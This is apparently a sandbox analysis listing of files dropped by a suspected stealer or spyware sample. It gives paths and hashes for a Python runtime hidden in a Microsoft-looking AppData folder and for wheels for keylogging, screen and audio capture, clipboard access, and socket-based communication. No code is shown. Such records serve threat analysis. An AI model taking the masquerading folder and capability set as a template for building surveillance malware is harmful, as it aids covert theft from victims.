                                                                                            • SHA256 453dd1a2020102b3148510856a2bd6925d8db15670afd70d35dda172c5d4054e
                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                            pywin32_testall.py

                                                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\Lib\site-packages\win32\scripts\pywin32_testall.py
                                                                                            • Size 3KB
                                                                                            • SHA256 158be3c78ded85dbdb91669888b3135f7f51c6c14bd1cfb5a3ec58dae76506a0
                                                                                            • MD5 SHA1 SHA512 TLSH

                                                                                            __init__.py

                                                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\Lib\site-packages\win32comext\bits\__init__.py
                                                                                            • Size 198B
                                                                                            • SHA256 0486114a785d3c74a9940bd828bf4d04bb90599eba7be427269895580fc00f7f
                                                                                            • MD5 SHA1 SHA512 TLSH

                                                                                            __init__.py

                                                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\Lib\site-packages\win32comext\internet\__init__.py
                                                                                            • Size 139B
                                                                                            • SHA256 dd388bf3740ba9de76807a928b7552844018947d3a8555eeaa2cefce7d623d13
                                                                                            • MD5 SHA1 SHA512 TLSH

                                                                                            pip.exe

                                                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\Scripts\pip.exe
                                                                                            • Size 105KB
                                                                                            • SHA256 eb2a93b677272b3ee12e595532f64c87d3017e2e43f5c224c3b482122aec5f95
                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                            VCRUNTIME140.dll

                                                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\VCRUNTIME140.dll
                                                                                            • Size 117KB
                                                                                            • SHA256 36585912e5eaf83ba9fea0631534f690ccdc2d7ba91537166fe53e56c221e153
                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                            VCRUNTIME140_1.dll

                                                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\VCRUNTIME140_1.dll
                                                                                            • Size 48KB
                                                                                            • SHA256 82a2f9ae1e6146ae3cb0f4bc5a62b7227e0384209d9b1aef86bbcc105912f7cd
                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                            _bz2.pyd

                                                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\_bz2.pyd
                                                                                            • Size 82KB
                                                                                            • SHA256 160b5218c2035cccbaab9dc4ca26d099f433dcb86dbbd96425c933dc796090df
                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                            _ctypes.pyd

                                                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\_ctypes.pyd
                                                                                            • Size 122KB
                                                                                            • SHA256 8250b4c102abd1dba49fc5b52030caa93ca34e00b86cee6547cc0a7f22326807
                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                            _decimal.pyd

                                                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\_decimal.pyd
                                                                                            • Size 250KB
                                                                                            • SHA256 b7f9603f98ef232a2c5bce7001d842c01d76ed35171afbd898e6d17facf38b56
                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                            _hashlib.pyd

                                                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\_hashlib.pyd
                                                                                            • Size 64KB
                                                                                            • SHA256 b4cec162b985d34ab768f66e8fa41ed28dc2f273fde6670eeace1d695789b137
                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                            _lzma.pyd

                                                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\_lzma.pyd
                                                                                            • Size 154KB
                                                                                            • SHA256 b095fa2eac97496b515031fbea5737988b18deee86a11f2784f5a551732ddc0c
                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                            _queue.pyd

                                                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\_queue.pyd
                                                                                            • Size 31KB
                                                                                            • SHA256 bbe7736caed8c17c97e2b156f686521a788c25f2004aae34ab0c282c24d57da7
                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                            _socket.pyd

                                                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\_socket.pyd
                                                                                            • Size 81KB
                                                                                            • SHA256 ce3090fff8575b21287df5fc69ae98806646fc302eefadf85e369ad3debad92b
                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                            _ssl.pyd

                                                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\_ssl.pyd
                                                                                            • Size 173KB
                                                                                            • SHA256 61f00b0543464bba61e0bd1128118326c9bd0cdc592854dd1a31c3d6d8df2b83
                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                            _uuid.pyd

                                                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\_uuid.pyd
                                                                                            • Size 25KB
                                                                                            • SHA256 869361adf2be930e5c8b492fa2116dc0d0edccbf2c231d39c859ce320be27b31
                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                            _wmi.pyd

                                                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\_wmi.pyd
                                                                                            • Size 37KB
                                                                                            • SHA256 b0ed1c62b73b291a1b57e3d8882cc269b2fcbb1253f2947da18d9036e0c985d9
                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                            get-pip.py

                                                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\get-pip.py
                                                                                            • Size 2.1MB
                                                                                            • SHA256 a341e1a43e38001c551a1508a73ff23636a11970b61d901d9a1cad2a18f57055
                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                            libcrypto-3.dll

                                                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\libcrypto-3.dll
                                                                                            • Size 5.0MB
                                                                                            • SHA256 4e5d5d20d6d31e72ab341c81e97b89e514326c4c861b48638243bdf0918cfa43
                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                            libffi-8.dll

                                                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\libffi-8.dll
                                                                                            • Size 38KB
                                                                                            • SHA256 eff52743773eb550fcc6ce3efc37c85724502233b6b002a35496d828bd7b280a
                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                            libssl-3.dll

                                                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\libssl-3.dll
                                                                                            • Size 774KB
                                                                                            • SHA256 2e4d35b681a172d3298caf7dc670451be7a8ba27c26446efc67470742497a950
                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                            pyexpat.pyd

                                                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\pyexpat.pyd
                                                                                            • Size 196KB
                                                                                            • SHA256 b6670d91a76e9f00609752ab19aae0b1ebe00d24d9d8d22068989bbb24d0aa44
                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                            python.exe

                                                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\python.exe
                                                                                            • Size 101KB
                                                                                            • SHA256 ca60cf785b2314a6d6599eced15bdf094e6db171bec996b97a70b995942c3c37
                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                            python.zip.downloading

                                                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\python.zip.downloading
                                                                                            • Size 10.6MB
                                                                                            • SHA256 0d57bb6cb078b74d23dbfe91f77d6780d45bed328911609f1f7ee2ba1606bf44
                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                            python3.DLL

                                                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\python3.DLL
                                                                                            • Size 66KB
                                                                                            • SHA256 d52baca085f88b40f30c855e6c55791e5375c80f60f94057061e77e33f4cad7a
                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                            python312._pth

                                                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\python312._pth
                                                                                            • Size 79B
                                                                                            • SHA256 9fe5713a8c85777f99d941d14409946124df1f322e987485ed30600f4f0afde1
                                                                                            • MD5 SHA1 SHA512 TLSH

                                                                                            python312.dll

                                                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\python312.dll
                                                                                            • Size 6.6MB
                                                                                            • SHA256 93488fa7e631cc0a2bd808b9eee8617280ee9b6ff499ab424a1a1cbf24d77dc7
                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                            python312.zip

                                                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\python312.zip
                                                                                            • Size 3.6MB
                                                                                            • SHA256 b321b802f5c37d2b45a5d2a79645f223143ffa778666135148871b7b8cbb7fe4
                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                            select.pyd

                                                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\select.pyd
                                                                                            • Size 30KB
                                                                                            • SHA256 dca5e6d39c5094ce599143cb82f6d8470f0c2a4ce4443499e73f32ed13333fd0
                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                            unicodedata.pyd

                                                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\unicodedata.pyd
                                                                                            • Size 1.1MB
                                                                                            • SHA256 64a162d6b11ba10cb11509f3cc445f17beb7acfd064f030b4d59faa1c9894b29
                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                            Tmp2789.tmp

                                                                                            • Path C:\Users\Admin\AppData\Local\Temp\Tmp2789.tmp
                                                                                            • Size 2KB
                                                                                            • SHA256 181fd1300a1ec0064e66ced9c7640295f8c22f0e483585e1549da575861acada
                                                                                            • MD5 SHA1 SHA512 TLSH

                                                                                            __PSScriptPolicyTest_bd0ba3ll.vnv.ps1

                                                                                            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bd0ba3ll.vnv.ps1
                                                                                            • Size 60B
                                                                                            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                                                                            • MD5 SHA1 SHA512 TLSH

                                                                                            certifi-2026.7.22-py3-none-any.whl.metadata

                                                                                            • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-0kc18b5t\certifi-2026.7.22-py3-none-any.whl.metadata
                                                                                            • Size 2KB
                                                                                            • SHA256 ef5af1638fbb23676ac3c5777dfcfc2cd9c348fe4172ed5ba3d277655b248090
                                                                                            • MD5 SHA1 SHA512 TLSH

                                                                                            WMI-1.5.1-py2.py3-none-any.whl

                                                                                            • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-0npl38hz\WMI-1.5.1-py2.py3-none-any.whl
                                                                                            • Size 28KB
                                                                                            • SHA256 1d6b085e5c445141c475476000b661f60fff1aaa19f76bf82b7abb92e0ff4942
                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                            certifi-2026.7.22-py3-none-any.whl

                                                                                            • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-0npl38hz\certifi-2026.7.22-py3-none-any.whl
                                                                                            • Size 133KB
                                                                                            • SHA256 62f22742b58a1a33014a2b6b706588a8d7e2a88ae7bd1a6ebe8c992928483775
                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                            charset_normalizer-3.4.9-cp312-cp312-win_amd64.whl

                                                                                            • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-0npl38hz\charset_normalizer-3.4.9-cp312-cp312-win_amd64.whl
                                                                                            • Size 158KB
                                                                                            • SHA256 4b3dac63058cc36820b0dd072f89898604e2d39686fe05321729d00d8ac185a0
                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                            idna-3.18-py3-none-any.whl

                                                                                            • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-0npl38hz\idna-3.18-py3-none-any.whl
                                                                                            • Size 63KB
                                                                                            • SHA256 7f952cbe720b688055e3f87de14f5c3e5fdaa8bc3928985c4077ca689de849a2
                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                            pillow-12.3.0-cp312-cp312-win_amd64.whl

                                                                                            • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-0npl38hz\pillow-12.3.0-cp312-cp312-win_amd64.whl
                                                                                            • Size 6.9MB
                                                                                            • SHA256 a2b55dd6b2a4c4b7d87ffa56bdb33fdc5fdb9a462173861a7bc097f17d91cb09
                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                            psutil-7.2.2-cp37-abi3-win_amd64.whl

                                                                                            • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-0npl38hz\psutil-7.2.2-cp37-abi3-win_amd64.whl
                                                                                            • Size 134KB
                                                                                            • SHA256 eb7e81434c8d223ec4a219b5fc1c47d0417b12be7ea866e24fb5ad6e84b3d988
                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                            pycryptodome-3.23.0-cp37-abi3-win_amd64.whl

                                                                                            • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-0npl38hz\pycryptodome-3.23.0-cp37-abi3-win_amd64.whl
                                                                                            • Size 1.7MB
                                                                                            • SHA256 c75b52aacc6c0c260f204cbdd834f76edc9fb0d8e0da9fbf8352ef58202564e2
                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                            pywin32-312-cp312-cp312-win_amd64.whl

                                                                                            • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-0npl38hz\pywin32-312-cp312-cp312-win_amd64.whl
                                                                                            • Size 6.6MB
                                                                                            • SHA256 b457f6d628a47e8a7346ce22acb7e1a46a4a78b52e1d17e1af56871bd19a93bc
                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                            requests-2.34.2-py3-none-any.whl

                                                                                            • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-0npl38hz\requests-2.34.2-py3-none-any.whl
                                                                                            • Size 71KB
                                                                                            • SHA256 2a0d60c172f83ac6ab31e4554906c0f3b3588d37b5cb939b1c061f4907e278e0
                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                            urllib3-2.7.0-py3-none-any.whl

                                                                                            • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-0npl38hz\urllib3-2.7.0-py3-none-any.whl
                                                                                            • Size 128KB
                                                                                            • SHA256 9fb4c81ebbb1ce9531cce37674bbc6f1360472bc18ca9a553ede278ef7276897
                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                            vdf-3.4-py2.py3-none-any.whl

                                                                                            • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-0npl38hz\vdf-3.4-py2.py3-none-any.whl
                                                                                            • Size 10KB
                                                                                            • SHA256 68c1a125cc49e343d535af2dd25074e9cb0908c6607f073947c4a04bbe234534
                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                            cryptography-49.0.0-cp311-abi3-win_amd64.whl.metadata

                                                                                            • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-0xju_hc1\cryptography-49.0.0-cp311-abi3-win_amd64.whl.metadata
                                                                                            • Size 4KB
                                                                                            • SHA256 1fc839d24efc355f0e5c507aa807822bca4371e732603b6d3e92b24038deded2
                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                            av-18.0.0-cp311-abi3-win_amd64.whl.metadata

                                                                                            • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-4bkypy6g\av-18.0.0-cp311-abi3-win_amd64.whl.metadata
                                                                                            • Size 4KB
                                                                                            • SHA256 bcc58ead43a46a10f7abba729c37d0ee9be8315ba4eb7a621840266a7b92c15a
                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                            wsproto-1.3.2-py3-none-any.whl.metadata

                                                                                            • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-5qo2sood\wsproto-1.3.2-py3-none-any.whl.metadata
                                                                                            • Size 5KB
                                                                                            • SHA256 c758e97f876f6c7cd2fd9517b50ab34110f36b733299fc0d43d1aeb1ec154dc9
                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                            idna-3.18-py3-none-any.whl.metadata

                                                                                            • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-5t4n18wu\idna-3.18-py3-none-any.whl.metadata
                                                                                            • Size 5KB
                                                                                            • SHA256 46dfe6e5ac462d0f680ecd9abcf66e829b6a2334824b4d9e3979b31135caf281
                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                            comtypes-1.4.16-py3-none-any.whl.metadata

                                                                                            • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-7xg_pkvl\comtypes-1.4.16-py3-none-any.whl.metadata
                                                                                            • Size 7KB
                                                                                            • SHA256 279c07158e942a3d3a8099d4bec6c3f157ba42272c853de6f3c631a57ffa0a69
                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                            pip-26.1.2-py3-none-any.whl.metadata

                                                                                            • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-_btygl1y\pip-26.1.2-py3-none-any.whl.metadata
                                                                                            • Size 4KB
                                                                                            • SHA256 17832de47b5dc23e46253ba16462520036f28d9a27d5c30157784952ca4e69b2
                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                            h11-0.16.0-py3-none-any.whl.metadata

                                                                                            • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-_jh5qzlo\h11-0.16.0-py3-none-any.whl.metadata
                                                                                            • Size 8KB
                                                                                            • SHA256 28f326098ac09fcba79b8f180f96087c841fe2456215cb7b872a9c7d5cd19d64
                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                            pillow-12.3.0-cp312-cp312-win_amd64.whl.metadata

                                                                                            • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-bpvbgh7q\pillow-12.3.0-cp312-cp312-win_amd64.whl.metadata
                                                                                            • Size 9KB
                                                                                            • SHA256 2c4378001803cfac65809a50722d46e0da4ce8061e717f103e5d52734bab30f5
                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                            websocket_client-1.9.0-py3-none-any.whl.metadata

                                                                                            • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-c4whzlf_\websocket_client-1.9.0-py3-none-any.whl.metadata
                                                                                            • Size 8KB
                                                                                            • SHA256 29cfc4c6cba2dcfd8757128f893d69ea13fe7598153c4854232c20405a493bb1
                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                            pygrabber-0.2-py3-none-any.whl.metadata

                                                                                            • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-ch7br4pw\pygrabber-0.2-py3-none-any.whl.metadata
                                                                                            • Size 3KB
                                                                                            • SHA256 a2c5e43ad5799e392083843a37966ee6aab7c5f823b28d9981a7deaa7cdd5057
                                                                                            • MD5 SHA1 SHA512 TLSH

                                                                                            WMI-1.5.1-py2.py3-none-any.whl.metadata

                                                                                            • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-cusae6hf\WMI-1.5.1-py2.py3-none-any.whl.metadata
                                                                                            • Size 3KB
                                                                                            • SHA256 bf90809237a8ce1dac86bed7e34e4e76692d87ffd21aed16541105cd63ea533a
                                                                                            • MD5 SHA1 SHA512 TLSH

                                                                                            pyaudiowpatch-0.2.12.8-cp312-cp312-win_amd64.whl.metadata

                                                                                            • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-cutxtne2\pyaudiowpatch-0.2.12.8-cp312-cp312-win_amd64.whl.metadata
                                                                                            • Size 9KB
                                                                                            • SHA256 08f2903e39af161f0db3a798a6974d158827a693add2bab1516f3a4b0b151821
                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                            base58-2.1.1-py3-none-any.whl.metadata

                                                                                            • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-dg0izsig\base58-2.1.1-py3-none-any.whl.metadata
                                                                                            • Size 3KB
                                                                                            • SHA256 38c5ab1eac132605f2a4e712d13771dd7044499e58e2d7ab5cf5017e0d3b55dd
                                                                                            • MD5 SHA1 SHA512 TLSH

                                                                                            python_socketio-5.16.3-py3-none-any.whl.metadata

                                                                                            • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-ffzf5rbj\python_socketio-5.16.3-py3-none-any.whl.metadata
                                                                                            • Size 3KB
                                                                                            • SHA256 4a1da1dbc9432ce036cd83af4ba23effb067e21105bcc21f9f5acf4ab77227df
                                                                                            • MD5 SHA1 SHA512 TLSH

                                                                                            vdf-3.4-py2.py3-none-any.whl.metadata

                                                                                            • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-gwtne3k5\vdf-3.4-py2.py3-none-any.whl.metadata
                                                                                            • Size 5KB
                                                                                            • SHA256 c3a0808f89d4dc5959c2a7d6b526e318afe1ef6ec68961f188b01dba0ac44ef6
                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                            python_engineio-4.13.3-py3-none-any.whl.metadata

                                                                                            • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-hxcf2mac\python_engineio-4.13.3-py3-none-any.whl.metadata
                                                                                            • Size 2KB
                                                                                            • SHA256 a10f23cd13ec4a2c7619f4f953eb88ee756231d8de3bc65ab373ec0f166175c7
                                                                                            • MD5 SHA1 SHA512 TLSH

                                                                                            pynput-1.8.2-py2.py3-none-any.whl.metadata

                                                                                            • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-m4n2l101\pynput-1.8.2-py2.py3-none-any.whl.metadata
                                                                                            • Size 31KB
                                                                                            • SHA256 b37d8f63315b56780af1fc0d3104d231d50caa6436ff6aa0a6603adb5cdcb5f3
                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                            psutil-7.2.2-cp37-abi3-win_amd64.whl.metadata

                                                                                            • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-m94frc__\psutil-7.2.2-cp37-abi3-win_amd64.whl.metadata
                                                                                            • Size 22KB
                                                                                            • SHA256 a263a40220d921d9cb963fc636d34f817aa2eb72c2696e3e3465d088cdb1976b
                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                            pyperclip-1.11.0-py3-none-any.whl.metadata

                                                                                            • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-mmhw2yvu\pyperclip-1.11.0-py3-none-any.whl.metadata
                                                                                            • Size 2KB
                                                                                            • SHA256 2493839e0751761f27d39aa6d5c5dfd1df839c45da8f328aba4ae4102868b825
                                                                                            • MD5 SHA1 SHA512 TLSH

                                                                                            pycparser-3.0-py3-none-any.whl.metadata

                                                                                            • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-ntj4s8s8\pycparser-3.0-py3-none-any.whl.metadata
                                                                                            • Size 8KB
                                                                                            • SHA256 f547a60b0ab54cc2f242213d1f87960ad80df7dd5dfeb98d17a444d48bfb6b93
                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                            pycryptodome-3.23.0-cp37-abi3-win_amd64.whl.metadata

                                                                                            • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-pboitqdc\pycryptodome-3.23.0-cp37-abi3-win_amd64.whl.metadata
                                                                                            • Size 3KB
                                                                                            • SHA256 3054c7b6ca96dfa8c968571921d169f91ac8ffa63686629d512dd50aa380bff1
                                                                                            • MD5 SHA1 SHA512 TLSH

                                                                                            av-18.0.0-cp311-abi3-win_amd64.whl

                                                                                            • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-ppbc7uhl\av-18.0.0-cp311-abi3-win_amd64.whl
                                                                                            • Size 26.3MB
                                                                                            • SHA256 aaf4d354d2beaa6651e4f92e54409a578bde64f79c0beef9a30b388d06f7c629
                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                            base58-2.1.1-py3-none-any.whl

                                                                                            • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-ppbc7uhl\base58-2.1.1-py3-none-any.whl
                                                                                            • Size 5KB
                                                                                            • SHA256 11a36f4d3ce51dfc1043f3218591ac4eb1ceb172919cebe05b52a5bcc8d245c2
                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                            bidict-0.23.1-py3-none-any.whl

                                                                                            • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-ppbc7uhl\bidict-0.23.1-py3-none-any.whl
                                                                                            • Size 31KB
                                                                                            • SHA256 5dae8d4d79b552a71cbabc7deb25dfe8ce710b17ff41711e13010ead2abfc3e5
                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                            cffi-2.1.0-cp312-cp312-win_amd64.whl

                                                                                            • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-ppbc7uhl\cffi-2.1.0-cp312-cp312-win_amd64.whl
                                                                                            • Size 181KB
                                                                                            • SHA256 c97f080ea627e2863524c5af3836e2270b5f5dfff1f104392b959f8df0c5d384
                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                            comtypes-1.4.16-py3-none-any.whl

                                                                                            • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-ppbc7uhl\comtypes-1.4.16-py3-none-any.whl
                                                                                            • Size 289KB
                                                                                            • SHA256 e18d85179ff12955524c5a8c3bc09cb3c0d890f1da4d7123d14244c7b78f84c8
                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                            cryptography-49.0.0-cp311-abi3-win_amd64.whl

                                                                                            • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-ppbc7uhl\cryptography-49.0.0-cp311-abi3-win_amd64.whl
                                                                                            • Size 3.6MB
                                                                                            • SHA256 e5dfc1e64de5677cec922ffa8da89c546d0415bf6efdf081842e5d44c84e1f0e
                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                            dxcam-0.3.0-cp312-cp312-win_amd64.whl

                                                                                            • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-ppbc7uhl\dxcam-0.3.0-cp312-cp312-win_amd64.whl
                                                                                            • Size 331KB
                                                                                            • SHA256 ab75b16529b8bd7337dfcb663525c338233a24b4c5b76193ced82a70e16edf49
                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                            h11-0.16.0-py3-none-any.whl

                                                                                            • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-ppbc7uhl\h11-0.16.0-py3-none-any.whl
                                                                                            • Size 36KB
                                                                                            • SHA256 63cf8bbe7522de3bf65932fda1d9c2772064ffb3dae62d55932da54b31cb6c86
                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                            mss-10.2.0-py3-none-any.whl

                                                                                            • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-ppbc7uhl\mss-10.2.0-py3-none-any.whl
                                                                                            • Size 65KB
                                                                                            • SHA256 e79f428899280e7e64e38365b5bfed683851ebea807eeaeadaf06eb8e0d67197
                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                            numpy-2.5.1-cp312-cp312-win_amd64.whl

                                                                                            • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-ppbc7uhl\numpy-2.5.1-cp312-cp312-win_amd64.whl
                                                                                            • Size 11.9MB
                                                                                            • SHA256 f7d60026c0bdb1380e83bfa7a0419c4577ee4b9a08880afcb6dadeb74c649fa2
                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                            pyaudiowpatch-0.2.12.8-cp312-cp312-win_amd64.whl

                                                                                            • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-ppbc7uhl\pyaudiowpatch-0.2.12.8-cp312-cp312-win_amd64.whl
                                                                                            • Size 96KB
                                                                                            • SHA256 fd163a6531c4e4969925e687ef1bc57fae8ecc1a95de7ba707a436622552d7fa
                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                            pycparser-3.0-py3-none-any.whl

                                                                                            • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-ppbc7uhl\pycparser-3.0-py3-none-any.whl
                                                                                            • Size 47KB
                                                                                            • SHA256 b727414169a36b7d524c1c3e31839a521725078d7b2ff038656844266160a992
                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                            pygrabber-0.2-py3-none-any.whl

                                                                                            • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-ppbc7uhl\pygrabber-0.2-py3-none-any.whl
                                                                                            • Size 23KB
                                                                                            • SHA256 5ac8bbe5f6a5dfb7c1c9c55d80ca9b9457743abd3ac8efa21cb9e302bdbf03ac
                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                            pynput-1.8.2-py2.py3-none-any.whl

                                                                                            • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-ppbc7uhl\pynput-1.8.2-py2.py3-none-any.whl
                                                                                            • Size 89KB
                                                                                            • SHA256 8cc38cf13a6ab2749cb375678be8a0fd705d7ce49c8001ff5db4007a723bbef1
                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                            pyperclip-1.11.0-py3-none-any.whl

                                                                                            • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-ppbc7uhl\pyperclip-1.11.0-py3-none-any.whl
                                                                                            • Size 10KB
